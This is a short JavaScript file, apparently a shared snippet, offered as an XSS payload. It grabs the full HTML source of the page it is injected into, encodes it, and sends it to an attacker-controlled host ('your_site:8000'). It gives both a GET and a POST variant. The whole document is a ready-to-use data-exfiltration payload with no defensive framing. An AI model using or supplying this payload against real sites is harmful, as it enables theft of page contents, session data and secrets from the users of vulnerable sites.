JavaScript code to send HTML+JS source of current page using XSS

send_html_source_using_xss.js

//Using GET method
//Use it for URL encoded data delivery
d=encodeURI(document.documentElement.outerHTML)
//Use it for base64 encoded data delivery
//d=window.btoa(document.documentElement.outerHTML)
x = new XMLHttpRequest();
x.open("GET","//your_site:8000?d="+d,true)
x.send();


//Using POST method
//Use it for URL encoded data delivery
d=encodeURI(document.documentElement.outerHTML)
//Use it for base64 encoded data delivery
//d=window.btoa(document.documentElement.outerHTML)
x = new XMLHttpRequest();
x.open("POST","//your_site:8000",true)
x.send(d);